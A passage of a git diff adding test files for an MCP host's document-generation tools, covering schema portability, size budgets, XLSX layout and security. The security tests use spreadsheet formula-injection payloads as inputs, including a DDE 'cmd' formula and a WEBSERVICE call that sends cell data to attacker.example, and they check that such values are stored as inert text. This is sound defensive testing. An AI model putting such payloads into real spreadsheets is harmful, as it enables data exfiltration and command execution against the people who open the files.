['1,200'] }] } },+ ],+ [+ '{label, value} records, which the normalizer reads',+ 'clerum__generate_chart',+ {+ filename: 'c.png',+ type: 'bar',+ data: { datasets: [{ data: [{ label: 'Ene', value: 3 }] }] },+ },+ ],+ [+ 'one color per point',+ 'clerum__generate_chart',+ {+ filename: 'c.png',+ type: 'bar',+ data: {+ labels: ['a', 'b'],+ datasets: [{ data: [1, 2], backgroundColor: ['#111111', '#222222'] }],+ },+ },+ ],+ [+ 'years sent as numeric labels',+ 'clerum__generate_chart',+ {+ filename: 'c.png',+ type: 'line',+ data: { labels: [2023, 2024, '2025e'], datasets: [{ label: 'ARR', data: [1, 2, 3] }] },+ },+ ],+ [+ 'a numeric dashboard KPI',+ 'clerum__generate_dashboard',+ { filename: 'd.html', data: { title: 'T', kpis: [{ label: 'NPS', value: 48 }] } },+ ],+ [+ 'a dashboard section written as one paragraph',+ 'clerum__generate_dashboard',+ {+ filename: 'd.html',+ data: { title: 'T', sections: [{ type: 'narrative', content: 'Hola' }] },+ },+ ],+ [+ 'a dashboard table of numbers',+ 'clerum__generate_dashboard',+ { filename: 'd.html', data: { title: 'T', tables: [{ headers: ['a'], rows: [[1]] }] } },+ ],+ [+ 'a custom kpis block carrying KPI objects',+ 'clerum__generate_dashboard',+ {+ filename: 'd.html',+ template: 'custom',+ data: { title: 'T', blocks: [{ type: 'kpis', items: [{ label: 'ARR', value: 1200000 }] }] },+ },+ ],+ [+ 'an operations-pulse dashboard with services and incidents',+ 'clerum__generate_dashboard',+ {+ filename: 'd.html',+ template: 'operations-pulse',+ data: {+ title: 'T',+ services: [{ name: 'API', status: 'healthy', metric: '99.9%' }],+ incidents: [{ time: '10:42', title: 'Latency', severity: 'high' }],+ },+ },+ ],+ [+ 'a dashboard gauge and a stacked bar with year labels',+ 'clerum__generate_dashboard',+ {+ filename: 'd.html',+ data: {+ title: 'T',+ charts: [+ { type: 'gauge', gaugeMax: 10, datasets: [{ data: [7] }] },+ { type: 'stackedBar', labels: [2025, 2026], datasets: [{ data: [1, 2] }] },+ ],+ },+ },+ ],+ [+ 'a dashboard table with a badge column',+ 'clerum__generate_dashboard',+ {+ filename: 'd.html',+ data: {+ title: 'T',+ tables: [+ {+ headers: ['Svc', 'Status'],+ rows: [['api', 'low']],+ columnTypes: { Status: 'severity' },+ },+ ],+ },+ },+ ],+ [+ 'markdown sent as an array of lines',+ 'clerum__generate_markdown',+ { filename: 'n.md', content: ['# Title', 'body'] },+ ],+ [+ 'a numeric PPTX KPI',+ 'clerum__generate_pptx',+ {+ filename: 'd.pptx',+ slides: [{ layout: 'kpis', title: 'K', kpis: [{ label: 'NPS', value: 48 }] }],+ },+ ],+]++describe('internal tool schemas accept what the runtimes handle, on the workflow path', () => {+ it.each(ACCEPTED)('declares every argument of %s', (_label, tool, args) => {+ expect(unknownArguments(schemaOf(tool), args)).toEqual([])+ })++ it.each(ACCEPTED)('accepts %s', async (_label, tool, args) => {+ expect(await accepts(tool, args)).toBe(true)+ })++ it('still rejects what no runtime can handle', async () => {+ // Widening for real inputs must not turn the gate into a no-op.+ expect(+ await accepts('clerum__generate_chart', {+ filename: 'c.png',+ type: 'nonsense',+ data: { datasets: [] },+ })+ ).not.toBe(true)+ expect(+ await accepts('clerum__generate_chart', {+ filename: 'c.png',+ type: 'bar',+ data: { labels: [{ text: 'Q1' }], datasets: [{ data: [1] }] },+ })+ ).not.toBe(true)+ expect(+ await accepts('clerum__generate_xlsx', {+ filename: 'v.xlsx',+ sheets: [{ name: 'S', rows: [[{ nested: true }]] }],+ })+ ).not.toBe(true)+ expect(+ await accepts('clerum__generate_xlsx', {+ filename: 'v.xlsx',+ sheets: [{ name: 'S', rows: [['H'], [{ formula: 'NOW()' }]] }],+ })+ ).not.toBe(true)+ expect(+ await accepts('clerum__generate_xlsx', {+ filename: 'v.xlsx',+ sheets: [{ name: 'S', rows: [['H'], [1]], images: [42] }],+ })+ ).not.toBe(true)+ expect(await accepts('clerum__generate_pdf', { body: 'x' })).not.toBe(true)+ expect(+ await accepts('clerum__generate_dashboard', {+ filename: 'd.html',+ data: { title: 'T', charts: [{ type: 'sunburst', datasets: [{ data: [1] }] }] },+ })+ ).not.toBe(true)+ expect(+ await accepts('clerum__generate_dashboard', {+ filename: 'd.html',+ template: 'custom',+ data: { title: 'T', blocks: [{ type: 'spacer', size: 'xl' }] },+ })+ ).not.toBe(true)+ expect(+ await accepts('clerum__generate_markdown', { filename: 'n.md', content: { text: 'x' } })+ ).not.toBe(true)+ expect(+ await accepts('clerum__generate_pdf', {+ filename: 'r.pdf',+ body: 'x',+ tables: [{ headers: ['A'], rows: [{ A: 1 }] }],+ })+ ).not.toBe(true)+ expect(+ await accepts('clerum__generate_pdf', {+ filename: 'r.pdf',+ body: 'x',+ images: [{ width: 100 }],+ })+ ).not.toBe(true)+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.schemaBudget.test.ts b/mcp-host/src/workflow/__tests__/internalTools.schemaBudget.test.tsnew file mode 100644index 000000000..0524beb82--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.schemaBudget.test.ts@@ -0,0 +1,48 @@+/**+ * Every tool schema is sent with every model request, so its size is paid on+ * each call and taken from small context windows. These ceilings keep the+ * schemas from growing unnoticed; raise one only for information a model needs.+ */+import { describe, expect, it } from 'vitest'+import { INTERNAL_TOOLS } from '../internalTools'++const BUDGET: Record<string, number> = {+ clerum__generate_markdown: 700,+ clerum__generate_pdf: 3800,+ clerum__generate_docx: 3200,+ clerum__generate_xlsx: 5400,+ clerum__generate_pptx: 16500,+ clerum__generate_chart: 4300,+ clerum__generate_dashboard: 14000,+ clerum__list_workflows: 500,+ clerum__read_workflow: 650,+ clerum__trigger_workflow: 1000,+ clerum__context_files_list: 650,+ clerum__context_files_read: 550,+}++const TOTAL_BUDGET = 51000++function size(tool: (typeof INTERNAL_TOOLS)[number]): number {+ return JSON.stringify({+ name: tool.name,+ description: tool.description,+ parameters: tool.parameters,+ }).length+}++describe('internal tool schema size', () => {+ it.each(INTERNAL_TOOLS.map(t => [t.name, t] as const))(+ '%s stays within its budget',+ (name, tool) => {+ expect(BUDGET[name], `no budget set for ${name}`).toBeDefined()+ expect(size(tool)).toBeLessThanOrEqual(BUDGET[name])+ }+ )++ it('keeps all of them together within the total budget', () => {+ expect(INTERNAL_TOOLS.reduce((sum, tool) => sum + size(tool), 0)).toBeLessThanOrEqual(+ TOTAL_BUDGET+ )+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.schemaGemini.test.ts b/mcp-host/src/workflow/__tests__/internalTools.schemaGemini.test.tsnew file mode 100644index 000000000..e8170489e--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.schemaGemini.test.ts@@ -0,0 +1,143 @@+/**+ * Gemini is the provider whose request shape differs most from the JSON Schema+ * the tools declare: @google/genai converts each `parameters` object into the+ * Gemini schema before sending it, and copies anything it does not recognise+ * straight through for the API to reject. The Vertex path the repo uses applies+ * the same conversion as the Gemini API path and then forwards the function+ * declarations unchanged.+ *+ * So instead of asserting rules about that conversion, this drives the repo's+ * own GoogleGenerativeDriver through the real SDK against a local server and+ * inspects the request body that would have left the pod. No network, no key.+ */+import { afterAll, beforeAll, describe, expect, it } from 'vitest'+import * as http from 'http'+import { createGetCapabilitiesTool } from '../../capabilities/getCapabilitiesTool'+import { GoogleGenerativeDriver } from '../../llm/drivers/googleGenerative'+import { INTERNAL_TOOLS } from '../internalTools'++/** Every internal tool both runtimes offer: the registry plus the capabilities probe. */+const OFFERED_TOOLS = [...INTERNAL_TOOLS, createGetCapabilitiesTool(() => undefined)]++/** Fields the Gemini Schema message defines. Anything else is rejected. */+const GEMINI_SCHEMA_FIELDS = new Set([+ 'type',+ 'format',+ 'title',+ 'description',+ 'nullable',+ 'enum',+ 'maxItems',+ 'minItems',+ 'properties',+ 'required',+ 'minProperties',+ 'maxProperties',+ 'minLength',+ 'maxLength',+ 'pattern',+ 'example',+ 'anyOf',+ 'propertyOrdering',+ 'default',+ 'items',+ 'minimum',+ 'maximum',+])++type Json = Record<string, unknown>++function unknownFields(node: unknown, path: string, out: string[]): void {+ if (!node || typeof node !== 'object' || Array.isArray(node)) return+ const n = node as Json+ for (const k of Object.keys(n)) if (!GEMINI_SCHEMA_FIELDS.has(k)) out.push(`${path}.${k}`)+ if (n.properties && typeof n.properties === 'object') {+ for (const [k, v] of Object.entries(n.properties as Json)) unknownFields(v, `${path}.${k}`, out)+ }+ if (n.items) unknownFields(n.items, `${path}[]`, out)+ if (Array.isArray(n.anyOf)) n.anyOf.forEach((b, i) => unknownFields(b, `${path}|${i}`, out))+}++let server: http.Server+let baseUrl = ''+let lastBody: Json | undefined++beforeAll(async () => {+ server = http.createServer((req, res) => {+ let raw = ''+ req.on('data', c => (raw += c))+ req.on('end', () => {+ lastBody = JSON.parse(raw) as Json+ res.setHeader('content-type', 'application/json')+ res.end(+ JSON.stringify({+ candidates: [+ { content: { role: 'model', parts: [{ text: 'ok' }] }, finishReason: 'STOP' },+ ],+ })+ )+ })+ })+ await new Promise<void>(resolve => server.listen(0, '127.0.0.1', () => resolve()))+ baseUrl = `http://127.0.0.1:${(server.address() as { port: number }).port}`+})++afterAll(() => {+ server.close()+})++async function sendThroughDriver(): Promise<Array<{ name: string; parameters: Json }>> {+ const { GoogleGenAI } = require('@google/genai')+ const ai = new GoogleGenAI({ apiKey: 'test', httpOptions: { baseUrl } })+ const driver = new GoogleGenerativeDriver(+ { generateContent: (input: never) => ai.models.generateContent(input) },+ 'gemini-2.5-pro'+ )+ lastBody = undefined+ await driver.completeSingleTurnWithTools(+ [{ role: 'user', content: 'hi' }] as never,+ OFFERED_TOOLS.map(t => ({+ name: t.name,+ description: t.description,+ parameters: t.parameters,+ })) as never+ )+ // Assigned inside the server callback, which control-flow analysis cannot see.+ const body = lastBody as Json | undefined+ const tools =+ (body?.tools as Array<{ functionDeclarations: Array<{ name: string; parameters: Json }> }>) ??+ []+ return tools[0]?.functionDeclarations ?? []+}++describe('internal tools, as the Gemini driver actually sends them', () => {+ it('converts every declaration without the SDK throwing', async () => {+ // The SDK throws on some shapes (type and anyOf on one node, a null-only+ // type); a throw here is a tool that cannot be offered to Gemini at all.+ const decls = await sendThroughDriver()+ expect(decls.map(d => d.name).sort()).toEqual(OFFERED_TOOLS.map(t => t.name).sort())+ })++ it('sends no field the Gemini schema does not define', async () => {+ const decls = await sendThroughDriver()+ const bad: string[] = []+ for (const d of decls) {+ const out: string[] = []+ unknownFields(d.parameters, '', out)+ if (out.length > 0) bad.push(`${d.name}: ${out.join(', ')}`)+ }+ expect(bad, `the Gemini API would reject these declarations:\n${bad.join('\n')}`).toEqual([])+ })++ it('keeps the polymorphic fields polymorphic after conversion', async () => {+ // A cell that could be text, a number or empty must stay that way on the+ // Gemini side too, or the model is told only strings are allowed.+ const decls = await sendThroughDriver()+ const xlsx = decls.find(d => d.name === 'clerum__generate_xlsx')!+ const sheets = (xlsx.parameters.properties as Json).sheets as Json+ const rows = ((sheets.items as Json).properties as Json).rows as Json+ const cell = (rows.items as Json).items as Json+ expect(cell.nullable).toBe(true)+ expect((cell.anyOf as Json[]).map(b => b.type).sort()).toEqual(['BOOLEAN', 'NUMBER', 'STRING'])+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.schemaPortability.test.ts b/mcp-host/src/workflow/__tests__/internalTools.schemaPortability.test.tsnew file mode 100644index 000000000..198e609fb--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.schemaPortability.test.ts@@ -0,0 +1,195 @@+/**+ * Tool schemas reach every provider verbatim — Anthropic as `input_schema`,+ * OpenAI and the OpenAI-compatible endpoints as `parameters`, Bedrock as the+ * Converse `inputSchema`, and Gemini through @google/genai's schema conversion+ * — with nothing in this repo translating them first.+ *+ * The rules below are the constructs one of those paths actually breaks on, not+ * a guess at the strictest dialect: banning type lists and `anyOf` would make+ * the validators reject numeric cells and KPI values. @google/genai converts+ * both itself (see internalTools.schemaGemini.test.ts); what it passes through+ * untranslated — `oneOf`, `$ref` and the like — is what the Gemini API rejects.+ */+import { describe, expect, it } from 'vitest'+import { INTERNAL_TOOLS } from '../internalTools'++/** Tools whose arguments are free-form by contract, not a described shape. */+const FREE_FORM_TOOLS = new Set(['clerum__trigger_workflow'])++/** The generators this suite governs. */+const ARTIFACT_TOOLS = INTERNAL_TOOLS.filter(+ t => t.name.startsWith('clerum__generate_') && !FREE_FORM_TOOLS.has(t.name)+)++/**+ * Keywords @google/genai copies into the Gemini request untranslated. The+ * Gemini API does not know them and rejects the whole declaration.+ */+const UNTRANSLATED_KEYWORDS = [+ 'oneOf',+ 'allOf',+ 'not',+ '$ref',+ '$defs',+ 'const',+ 'patternProperties',+ 'dependencies',+ 'if',+ 'then',+ 'else',+]++interface Violation {+ tool: string+ path: string+ detail: string+}++type Node = Record<string, unknown>++function isNode(v: unknown): v is Node {+ return typeof v === 'object' && v !== null && !Array.isArray(v)+}++function typesOf(node: Node): string[] {+ if (Array.isArray(node.type)) return node.type as string[]+ return typeof node.type === 'string' ? [node.type] : []+}++/**+ * Visit every schema node, including the branches of an `anyOf`, and report+ * those that break `check`.+ */+function scan(check: (node: Node) => string | undefined): Violation[] {+ const out: Violation[] = []+ for (const tool of ARTIFACT_TOOLS) {+ const visit = (node: unknown, path: string): void => {+ if (!isNode(node)) return+ const bad = check(node)+ if (bad) out.push({ tool: tool.name, path: path || '(root)', detail: bad })+ if (isNode(node.properties)) {+ for (const [k, v] of Object.entries(node.properties)) visit(v, `${path}.${k}`)+ }+ if (node.items !== undefined) visit(node.items, `${path}[]`)+ if (Array.isArray(node.anyOf)) node.anyOf.forEach((b, i) => visit(b, `${path}|${i}`))+ }+ visit(tool.parameters, '')+ }+ return out+}++function report(vs: Violation[]): string {+ return vs.map(v => ` ${v.tool}${v.path} — ${v.detail}`).join('\n')+}++describe('artifact tool schemas stay portable across providers', () => {+ it('registers the generators this suite is meant to cover', () => {+ // Guards against the suite silently covering nothing if naming changes.+ expect(ARTIFACT_TOOLS.length).toBeGreaterThanOrEqual(6)+ })++ it('never uses a keyword the Gemini conversion passes through untranslated', () => {+ const bad = scan(node => {+ const hit = UNTRANSLATED_KEYWORDS.find(k => node[k] !== undefined)+ return hit ? `uses ${hit}` : undefined+ })+ expect(bad, `rejected by the Gemini API after conversion:\n${report(bad)}`).toEqual([])+ })++ it('never sets both a type and anyOf on one node', () => {+ // @google/genai throws "type and anyOf cannot be both populated".+ const bad = scan(node =>+ node.type !== undefined && node.anyOf !== undefined ? 'type and anyOf together' : undefined+ )+ expect(bad, report(bad)).toEqual([])+ })++ it('never makes null the only type a standalone node allows', () => {+ // @google/genai throws "type: null can not be the only possible type" for+ // such a node. A `{ type: 'null' }` branch inside `anyOf` is different: the+ // conversion folds it into `nullable: true` and never recurses into it, so+ // branches are exempt here.+ const bad: Violation[] = []+ for (const tool of ARTIFACT_TOOLS) {+ const visit = (node: unknown, path: string): void => {+ if (!isNode(node)) return+ const t = typesOf(node)+ if (t.length > 0 && t.every(x => x === 'null')) {+ bad.push({ tool: tool.name, path, detail: 'null is the only type' })+ }+ if (isNode(node.properties)) {+ for (const [k, v] of Object.entries(node.properties)) visit(v, `${path}.${k}`)+ }+ if (node.items !== undefined) visit(node.items, `${path}[]`)+ if (Array.isArray(node.anyOf)) {+ node.anyOf.forEach((b, i) => {+ if (isNode(b) && typesOf(b).every(x => x === 'null') && typesOf(b).length > 0) return+ visit(b, `${path}|${i}`)+ })+ }+ }+ visit(tool.parameters, '')+ }+ expect(bad, report(bad)).toEqual([])+ })++ it('gives every array an items schema', () => {+ // An array without `items` has no element shape; OpenAI rejects the whole+ // function declaration for it.+ const bad = scan(node =>+ typesOf(node).includes('array') && node.items === undefined+ ? 'array without items'+ : undefined+ )+ expect(bad, `arrays need an items schema:\n${report(bad)}`).toEqual([])+ })++ it('only enumerates strings', () => {+ // The Gemini schema's enum is a list of strings.+ const bad = scan(node =>+ Array.isArray(node.enum) && node.enum.some(e => typeof e !== 'string')+ ? 'non-string enum value'+ : undefined+ )+ expect(bad, report(bad)).toEqual([])+ })++ it('describes every property the model has to fill in', () => {+ const bad: Violation[] = []+ for (const tool of ARTIFACT_TOOLS) {+ const visit = (node: unknown, path: string): void => {+ if (!isNode(node)) return+ if (isNode(node.properties)) {+ for (const [k, v] of Object.entries(node.properties)) {+ if (isNode(v) && typeof v.description !== 'string') {+ bad.push({ tool: tool.name, path: `${path}.${k}`, detail: 'no description' })+ }+ visit(v, `${path}.${k}`)+ }+ }+ if (node.items !== undefined) visit(node.items, `${path}[]`)+ if (Array.isArray(node.anyOf)) node.anyOf.forEach((b, i) => visit(b, `${path}|${i}`))+ }+ visit(tool.parameters, '')+ }+ expect(bad, `a property with no description is a guess:\n${report(bad)}`).toEqual([])+ })++ it('names its required fields and keeps them declared', () => {+ for (const tool of ARTIFACT_TOOLS) {+ const params = tool.parameters as Node+ expect(params.type, `${tool.name} root type`).toBe('object')+ const props = params.properties as Node+ expect(props, `${tool.name} has no properties`).toBeTruthy()+ for (const key of (params.required as string[]) ?? []) {+ expect(props[key], `${tool.name} requires "${key}" but never declares it`).toBeTruthy()+ }+ }+ })++ it('describes every tool itself', () => {+ for (const tool of ARTIFACT_TOOLS) {+ expect(tool.description.length, `${tool.name} description`).toBeGreaterThan(40)+ }+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.security.test.ts b/mcp-host/src/workflow/__tests__/internalTools.security.test.tsindex 5f2662116..718dcbcb0 100644--- a/mcp-host/src/workflow/__tests__/internalTools.security.test.ts+++ b/mcp-host/src/workflow/__tests__/internalTools.security.test.ts@@ -1,16 +1,19 @@import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import ExcelJS from 'exceljs'import * as fs from 'fs'import * as os from 'os'import * as path from 'path'import {INTERNAL_TOOLS,escapeHtmlAttr,+ imageDisplaySize,safeCell,safeJsonForScript,validateOutputPath,} from '../internalTools'import { StepMcpRouter } from '../stepRouter'import type { InternalToolDefinition } from '../types'+import { zipEntryText } from './support/zipEntries'// ─── Test Output Directory ──────────────────────────────────────────@@ -258,35 +261,124 @@ describe('XLSX formula injection', () => {expect(safeCell(true)).toBe(true)})- it('XLSX output stores formula-leading values as text, not formulas', async () => {+ it('XLSX output stores formula-leading values as inert text, not formulas', async () => {const tool = findTool('clerum__generate_xlsx')+ const inert = ['=1+1', '+EVIL()', '@SUM(A1:A10)', '=cmd|"/c calc"!A1', '-', '\tinjected']const result = await tool.execute({filename: 'formula-injection.xlsx',sheets: [{name: 'Data',- rows: [['Header'], ['=1+1'], ['+EVIL()'], ['benign value']],+ titleRow: { text: '=HYPERLINK("https://attacker.example","x")' },+ rows: [['=Header'], ...inert.map(v => [v]), ['-12.5'], ['benign value']],},],},testOutputDir)expect(result.success).toBe(true)- // The actual XLSX is binary — we trust safeCell unit tests for the- // transformation. End-to-end correctness is verified by the absence of- // ExcelJS errors and the presence of the file.- expect(fs.existsSync(path.join(testOutputDir, 'formula-injection.xlsx'))).toBe(true)+ const file = path.join(testOutputDir, 'formula-injection.xlsx')+ const sheetXml = zipEntryText(file, 'xl/worksheets/sheet1.xml')+ expect(sheetXml).not.toContain('<f>')+ expect(sheetXml).not.toContain('<f ')++ const wb = new ExcelJS.Workbook()+ await wb.xlsx.readFile(file)+ const ws = wb.worksheets[0]+ // Text format (@) keeps a re-edited cell from becoming a formula, so no+ // apostrophe has to be written into what the reader sees.+ for (const address of ['A1', 'A2', 'A3', 'A4', 'A5', 'A6', 'A7', 'A8']) {+ const cell = ws.getCell(address)+ expect(cell.type, address).toBe(ExcelJS.ValueType.String)+ expect(String(cell.value), address).not.toMatch(/^'/)+ expect(cell.numFmt, address).toBe('@')+ }+ expect(ws.getCell('A1').value).toBe('=HYPERLINK("https://attacker.example","x")')+ expect(ws.getCell('A3').value).toBe('=1+1')+ expect(ws.getCell('A7').value).toBe('-')+ expect(ws.getCell('A9').value).toBe(-12.5)+ expect(ws.getCell('A10').numFmt).not.toBe('@')+ })++ it.each([+ ['a formula object', { formula: 'WEBSERVICE("https://attacker.example/?x="&A1)' }],+ ['a shared formula object', { sharedFormula: 'A1', result: 1 }],+ ['a hyperlink object', { text: 'Click', hyperlink: 'https://attacker.example' }],+ ['a rich text object', { richText: [{ text: 'hi' }] }],+ ['an array', ['=1+1']],+ ['a Date object', new Date()],+ ])('XLSX refuses %s as a cell and never writes it', async (_label, cell) => {+ const tool = findTool('clerum__generate_xlsx')+ const result = await tool.execute(+ {+ filename: 'object-cell.xlsx',+ sheets: [+ {+ name: 'Data',+ rows: [+ ['Header', 'Other'],+ ['ok', cell],+ ],+ },+ ],+ },+ testOutputDir+ )+ expect(result.success).toBe(false)+ expect(result.error).toContain('sheets[0].rows[1][1]')+ expect(result.error).not.toContain('attacker.example')+ expect(fs.existsSync(path.join(testOutputDir, 'object-cell.xlsx'))).toBe(false)+ })++ it('XLSX refuses an object cell inside a row sent as a record', async () => {+ const tool = findTool('clerum__generate_xlsx')+ const result = await tool.execute(+ {+ filename: 'record-cell.xlsx',+ sheets: [{ name: 'Data', rows: [{ Link: { text: 'x', hyperlink: 'https://e.example' } }] }],+ },+ testOutputDir+ )+ expect(result.success).toBe(false)+ expect(result.error).toContain('sheets[0].rows[0].Link')+ })++ it('XLSX refuses an object as the title text', async () => {+ const tool = findTool('clerum__generate_xlsx')+ const result = await tool.execute(+ {+ filename: 'title-object.xlsx',+ sheets: [{ name: 'Data', titleRow: { text: { formula: 'NOW()' } }, rows: [['H'], [1]] }],+ },+ testOutputDir+ )+ expect(result.success).toBe(false)+ expect(result.error).toContain('sheets[0].titleRow.text')+ expect(fs.existsSync(path.join(testOutputDir, 'title-object.xlsx'))).toBe(false)+ })++ it('XLSX object cells are rejected on the workflow path before execute', async () => {+ const router = new StepMcpRouter(() => {+ throw new Error('should not connect')+ })+ router.registerInternalTools(INTERNAL_TOOLS, testOutputDir)+ const { result } = await router.callTool('clerum__generate_xlsx', {+ filename: 'wf-object-cell.xlsx',+ sheets: [{ name: 'Data', rows: [['H'], [{ formula: 'NOW()' }]] }],+ })+ expect(result.isError).toBe(true)+ expect(fs.existsSync(path.join(testOutputDir, 'wf-object-cell.xlsx'))).toBe(false)})})// ─── XLSX conditional-formatting regex ReDoS bounds ─────────────────describe('XLSX conditional-formatting regex bounds', () => {- it('silently ignores oversized regex patterns without crashing generation', async () => {+ it('skips oversized regex patterns with a warning without failing generation', async () => {const tool = findTool('clerum__generate_xlsx')- // 300-char pattern exceeds MAX_REGEX_PATTERN_LENGTH=256; rule should be- // dropped, generation should still succeed and not be flagged in error.+ // 300-char pattern exceeds MAX_REGEX_PATTERN_LENGTH=256; the rule is+ // dropped and reported, and generation still succeeds.const oversized = 'a'.repeat(300)const result = await tool.execute({@@ -307,6 +399,7 @@ describe('XLSX conditional-formatting regex bounds', () => {testOutputDir)expect(result.success).toBe(true)+ expect(result.content).toContain('conditionalFormatting[0].rules[0].regex')expect(fs.existsSync(path.join(testOutputDir, 'redos-oversize.xlsx'))).toBe(true)})@@ -339,17 +432,17 @@ describe('XLSX conditional-formatting regex bounds', () => {)const elapsed = Date.now() - startexpect(result.success).toBe(true)- // 5s is a very loose budget — a true ReDoS would hang for minutes.- expect(elapsed).toBeLessThan(5000)- })+ // A loose budget, so a slow machine passes; a true ReDoS would hang for minutes.+ expect(elapsed).toBeLessThan(20_000)+ }, 60_000)})-// ─── Canvas pre-allocation quota ────────────────────────────────────+// ─── Canvas pre-allocation limit ────────────────────────────────────-describe('chart canvas dimension quota', () => {+describe('chart canvas size limit', () => {it('rejects huge canvas dimensions before allocation', async () => {const tool = findTool('clerum__generate_chart')- // 4000×4000×4 bytes = 64 MB, well above the default 50 MB quota.+ // 4000×4000 RGBA is 64 MB, over the 50 MiB canvas limit even at ratio 1.const result = await tool.execute({filename: 'huge.png',@@ -361,6 +454,26 @@ describe('chart canvas dimension quota', () => {testOutputDir)expect(result.success).toBe(false)- expect(result.error).toMatch(/quota/i)+ expect(result.error).toMatch(/too large/i)+ })++ it('draws a large chart at a lower density instead of refusing it', async () => {+ // At twice the density 2400×1600 would need 61 MB of canvas, so it is+ // drawn at a lower ratio.+ const result = await findTool('clerum__generate_chart').execute(+ {+ filename: 'large.png',+ type: 'bar',+ width: 2400,+ height: 1600,+ data: { labels: ['a'], datasets: [{ label: 'a', data: [1] }] },+ },+ testOutputDir+ )+ expect(result.success).toBe(true)+ expect(imageDisplaySize(path.join(testOutputDir, 'large.png'))).toEqual({+ width: 2400,+ height: 1600,+ })})})diff --git a/mcp-host/src/workflow/__tests__/internalTools.test.ts b/mcp-host/src/workflow/__tests__/internalTools.test.tsindex a983a92b8..22a9b3fc0 100644--- a/mcp-host/src/workflow/__tests__/internalTools.test.ts+++ b/mcp-host/src/workflow/__tests__/internalTools.test.ts@@ -253,12 +253,13 @@ describe('clerum__generate_markdown', () => {expect(fs.existsSync(result.artifact!.path)).toBe(true)})- it('handles empty content', async () => {+ it('refuses empty content instead of writing an empty file', async () => {const tool = findTool('clerum__generate_markdown')const result = await tool.execute({ filename: 'empty.md', content: '' }, testOutputDir)- expect(result.success).toBe(true)- expect(result.artifact!.sizeBytes).toBe(0)+ expect(result.success).toBe(false)+ expect(result.error).toContain('content is empty')+ expect(fs.existsSync(path.join(testOutputDir, 'empty.md'))).toBe(false)})})diff --git a/mcp-host/src/workflow/__tests__/internalTools.xlsx.layout.test.ts b/mcp-host/src/workflow/__tests__/internalTools.xlsx.layout.test.tsnew file mode 100644index 000000000..afab91276--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.xlsx.layout.test.ts@@ -0,0 +1,374 @@+/**+ * The shape of the XLSX workbook: which sheets exist and under what names,+ * where rows and images land, and how wide the columns are.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import { createCanvas } from '@napi-rs/canvas'+import ExcelJS from 'exceljs'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../internalTools'+import type { InternalToolResult } from '../types'+import { tableWidth } from '../xlsxSheet'+import { zipEntries } from './support/zipEntries'++let dir: string++beforeEach(() => {+ dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-xlsx-layout-'))+})++afterEach(() => {+ fs.rmSync(dir, { recursive: true, force: true })+})++const xlsx = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_xlsx')!++function generate(args: Record<string, unknown>): Promise<InternalToolResult> {+ return xlsx.execute(args, dir)+}++async function bookOf(result: InternalToolResult): Promise<ExcelJS.Workbook> {+ expect(result.success, result.error).toBe(true)+ const wb = new ExcelJS.Workbook()+ await wb.xlsx.readFile(result.artifact!.path)+ return wb+}++function png(name: string, width = 400, height = 200): string {+ const canvas = createCanvas(width, height)+ const ctx = canvas.getContext('2d')+ ctx.fillStyle = '#1e3a8a'+ ctx.fillRect(0, 0, width, height)+ fs.writeFileSync(path.join(dir, name), canvas.toBuffer('image/png'))+ return name+}++describe('rows', () => {+ it('reads rows sent as records, taking the header from their keys', async () => {+ const result = await generate({+ filename: 'o.xlsx',+ sheets: [+ {+ name: 'R',+ rows: [+ { Month: 'Jan', Revenue: 100 },+ { Month: 'Feb', Revenue: 200, Note: 'late' },+ ],+ },+ ],+ })+ const ws = (await bookOf(result)).worksheets[0]+ expect(ws.getRow(1).values).toEqual([undefined, 'Month', 'Revenue', 'Note'])+ expect(ws.getCell('B3').value).toBe(200)+ expect(ws.getCell('C3').value).toBe('late')+ expect(result.content).toMatch(/objects/)+ })++ it('takes the header from headers when it is given apart from the rows', async () => {+ const result = await generate({+ filename: 'h.xlsx',+ sheets: [{ name: 'S', headers: ['Month', 'Units'], rows: [['Jan', 3]] }],+ })+ const ws = (await bookOf(result)).worksheets[0]+ expect(ws.getCell('A1').value).toBe('Month')+ expect(ws.getCell('B2').value).toBe(3)+ })++ it('fails instead of writing an empty workbook when no row is usable', async () => {+ const result = await generate({+ filename: 'e.xlsx',+ sheets: [{ name: 'S', rows: 'Month,Revenue\nJan,100' }],+ })+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/sheets\[0\]/)+ expect(result.error).toMatch(/array/)+ expect(fs.existsSync(path.join(dir, 'e.xlsx'))).toBe(false)+ })++ it('styles only the rows it wrote when a row is dropped', async () => {+ const result = await generate({+ filename: 'n.xlsx',+ sheets: [{ name: 'S', rows: [['A'], [1], null, [2]] }],+ })+ const ws = (await bookOf(result)).worksheets[0]+ expect(ws.rowCount).toBe(3)+ expect(result.content).toMatch(/left out/)+ })++ it('measures wide sheets without spreading every row into a call', () => {+ const rows = Array.from({ length: 200_000 }, (_, i) => (i === 7 ? [1, 2, 3] : [i]))+ expect(tableWidth(rows)).toBe(3)+ })+})++describe('sheet names', () => {+ it('repairs names Excel refuses and keeps them unique', async () => {+ const long = 'Resumen de ventas por region - '+ const names = [+ 'Q3/Q4',+ 'Sales:2026',+ '[Draft]',+ '',+ 'History',+ "'Quoted'",+ 'Data',+ 'data',+ `${long}Enero`,+ `${long}Febrero`,+ ]+ const result = await generate({+ filename: 's.xlsx',+ sheets: names.map(name => ({ name, rows: [['A'], [1]] })),+ })+ const wb = await bookOf(result)+ const written = wb.worksheets.map(ws => ws.name)+ expect(written).toHaveLength(names.length)+ expect(new Set(written.map(n => n.toLowerCase())).size).toBe(names.length)+ for (const name of written) {+ expect(name.length).toBeLessThanOrEqual(31)+ expect(name).not.toMatch(/[\\/?*:[\]]/)+ expect(name).not.toMatch(/^'|'$/)+ expect(name).not.toBe('History')+ }+ expect(written[0]).toBe('Q3-Q4')+ expect(result.content).toContain("'Q3/Q4'")+ })++ it('does not cut an emoji in half when shortening a name', async () => {+ 